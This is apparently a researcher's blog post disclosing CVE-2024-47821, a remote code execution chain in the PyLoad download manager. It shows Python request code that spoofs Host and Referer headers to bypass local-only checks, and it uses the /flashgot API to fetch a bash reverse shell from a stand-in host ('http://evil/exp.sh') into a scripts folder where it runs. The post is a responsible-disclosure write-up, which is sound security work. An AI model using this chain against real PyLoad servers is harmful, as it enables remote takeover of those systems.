I found my first CVE! CVE-2024-47821 (GitHub Advisory) is a remote code execution vulnerability in PyLoad. PyLoad is an open source download manager written in Python. The folder ~/.pyload/scripts on the server where PyLoad is installed has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in ~/.pyload/scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in ~/.pyload/scripts path and using the /flashgot API to download the file.

CVSS v4.0 Base Score: 9.4 (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)

I rated PR:H as admin access is required to change the dowload folder to ~/.pyload/scripts. Once that is done, no privileges are required to send the requests to trigger RCE.

A history lesson

I first encountered PyLoad in the Hack the Box PC machine (I wrote about writing a script to solve the machine in an automatable fashion). I then analyzed some CVEs in PyLoad in a previous post. While analyzing the CVEs, I built a decent understanding of how the APIs and Web UI of PyLoad work.

Since I had already spent some time looking at PyLoad code, I decided to choose PyLoad as my target to find a CVE - and then proceeded to not do anything with respect to security research for the next few months (partially due to some life events - but mostly because I was lazy). Eventually, I somehow dragged myself back to the realm of security research - and I decided to take another look at PyLoad.

PyLoad uses a library js2py to execute JavaScript in Python. This was the source of a previous remote code execution CVE (CVE-2023–0297). The TL;DR is that PyLoad did not disable js2py’s pyimport feature and therefore allowed importing of Python libraries like os into js2py.eval_js(). This allowed an attacker to send a crafted request with a command injection payload in the jk parameter to the /flash/addcrypted2 API and achieve remote code execution. To fix this issue, pyimport was disabled for PyLoad.

CVE-2024-28397

I had previously learnt about recursive attribute lookups in Python - and I wondered if this could be used to find a module through recursive lookup in js2py, which allowed executing code. Turns out the answer is Yes. However:

  1. This was already discovered (CVE-2024-28397)
  2. The payload was way beyond something I could have come up with.

This was good news to me - since I could try the payload provided in the repo against PyLoad and see if it worked. I quickly got a script ready to call the /flash/addcrypted2 with the payload provided in jk parameter to test if PyLoad is vulnerable to this CVE. On sending the request, I encountered a strange error: 403: Forbidden. Huh? I did not see any authentication checks in the API code, so I was confused why I got this error.

Bypassing local_check

To understand the source of this error, I took another look at the API code. The function for this API has a local_check decorator:

@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )

The decorator is defined like this

def local_check(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
        http_host = flask.request.environ.get("HTTP_HOST", "0")

        if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
            "127.0.0.1:9666",
            "[::1]:9666",
        ):
            return func(*args, **kwargs)
        else:
            return "Forbidden", 403

    return wrapper

The local_check function relies on the HTTP Host header to determine if the request came from a local address. The HTTP Host header can be manipulated by the sender of the request - and therefore can be spoofed to bypass this check (I will dive into more details in a later section). Combining the local_check bypass and the payload for CVE-2024-28397, I was able to achieve remote code execution in PyLoad.

I reported this issue to the PyLoad developers, but it turned out that the researcher who discovered CVE-2024-28397 had already reported it to PyLoad - which in hindsight was pretty obvious, since their repo mentions PyLoad is vulnerable to this CVE. At the time of me (re)discovering that PyLoad is vulnerable to CVE-2024-28397, there was no advisory for this issue for PyLoad - so I had decided to report it anyway. A few days later, an advisory was released - crediting the original reporter of CVE-2024-28397.

Since my submission was deemed a duplicate, I set out to find a new CVE in PyLoad - something that did not rely on existing CVEs in libraries used by PyLoad. I went back to the APIs listed in cnl_blueprint.py (the same file where the /flash/addcrypted2 API and the local_check function are defined). Since I knew I could bypass the local_check, I wanted to find another API that performs some “dangerous” operation.

Blind Server Side Request Forgery

The cnl_blueprint.py file has another API /flashgot which in addition to the local_check has a Referer header check. This header check can also be bypassed by just setting it to something PyLoad will accept.

@bp.route("/flashgot", methods=["POST"], endpoint="flashgot")
@bp.route("/flashgot_pyload", methods=["POST"], endpoint="flashgot")
@local_check
def flashgot():
    if flask.request.referrer not in (
        "http://localhost:9666/flashgot",
        "http://127.0.0.1:9666/flashgot",
    ):
        flask.abort(500)
    ...    

Combining the headers to bypass both checks, I arrived at headers like this

headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}

The flashgot API has a functionality to provide an URL from which PyLoad will download a file. There is additional parameter autostart which when provided results in PyLoad automatically downloading the file without any user interaction. Sending a request like below will download the file at the URL, to a folder named as per the package parameter, in the download location set in PyLoad (by default its ~/Downloads)

url = "http://pyload/flashgot"
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}

data = {
    "package": "example_packge",  
    "passwords": "optional_password",
    "urls": "http://evil/exp.sh",
    "autostart": 1,
}

response = requests.post(url, data=data, headers=headers)

I created a file exp.sh which contained a basic bash reverse shell and exposed it using a Python simple HTTP server. Once I sent the request, PyLoad downloaded the exp.sh to ~/Downloads/example_package/exp.sh. This is a blind SSRF vulnerability, but it is not particularly interesting. An attacker can probably use this to download malware into a system running PyLoad - but its not as interesting as code execution.

Escalating the SSRF to Remote Code Execution

The next step in my journey to find remote code execution was to somehow execute the reverse shell script. There are a few other CVEs in PyLoad where a file was downloaded to certain folders to have them execute or render - leading to remote code execution. However, as a fix for these issues, certain paths could not be set as the download folder.

Purely by chance, while I was staring at PyLoad logs, I found a log line that said “No script found under folder download_finished”. This implied that a user can specify scripts that are run when downloads are finished. Looking for this folder on my system, I came across a folder ~/.pyload/scripts which has many subfolders for different triggers such as download_finished, package_processed and so on.

I added a script to the download_finished folder and then sent a download request to /flashgot. Once the file was downloaded, the script I added to download_finished executed! From there, the path to remote code execution was pretty straighforward. I had to change a few PyLoad settings:

  1. Change the download folder to ~/.pyload/scripts
  2. Change permissions of downloads: on
  3. Permission mode for downloaded files: 0744

download-location

I also changed my request to /flashgot to set the package to download_finised so that the script is downloaded to the download_finished folder.

data = {
    "package": "download_finished", 
    "passwords": "optional_password", 
    "urls": "http://evil/exp.sh",
    "autostart": 1,
}

Sending this request once downloads exp.sh (which is a bash reverse shell) to the download_finished folder.

download-finished

Sending it a second time downloads exp.sh again into the folder, but crucially also executes the existing exp.sh script.

script-exec

I set up a simple nc listener where I received a reverse shell once exp.sh was executed. Remote code execution acheived, system compromised.

rce

A small word regarding my setup

A while back I had purchased a Raspberry Pi - and as with quite a few things I buy - I played with it for a week or two and then it just sat at my desk (in that one week I installed pihole on it - so it is not completely useless). So on a whim, I decided to install PyLoad on the Pi instead of my laptop. This turned out to be an important decision - as this led me to discovering the local_check function. If I was testing PyLoad on my laptop itself, the local_check would not have triggered. I might have found the other issues anyway, but bypassing the local_check check makes the finding “complete”.

Conclusion

That was a fun ride! My first CVE will always be special, but it being a remote code execution issue makes it even better. Having to chain multiple bugs was a great exercise for my research skills. Finding this CVE gives me the confidence and motivation to continue hunting. My aim for this year was to find one CVE. Having found that, and with a couple months remaining in the year - maybe I will find more?

Timeline

  • September 8, 2024: Issue reported to PyLoad via GitHub.
  • October 4, 2024: Report accepted by PyLoad maintainers.
  • October 7, 2024: CVE 2024-47821 assigned.
  • October 25, 2024: Patched version of PyLoad released, blog published.

Thank you for reading! Take care!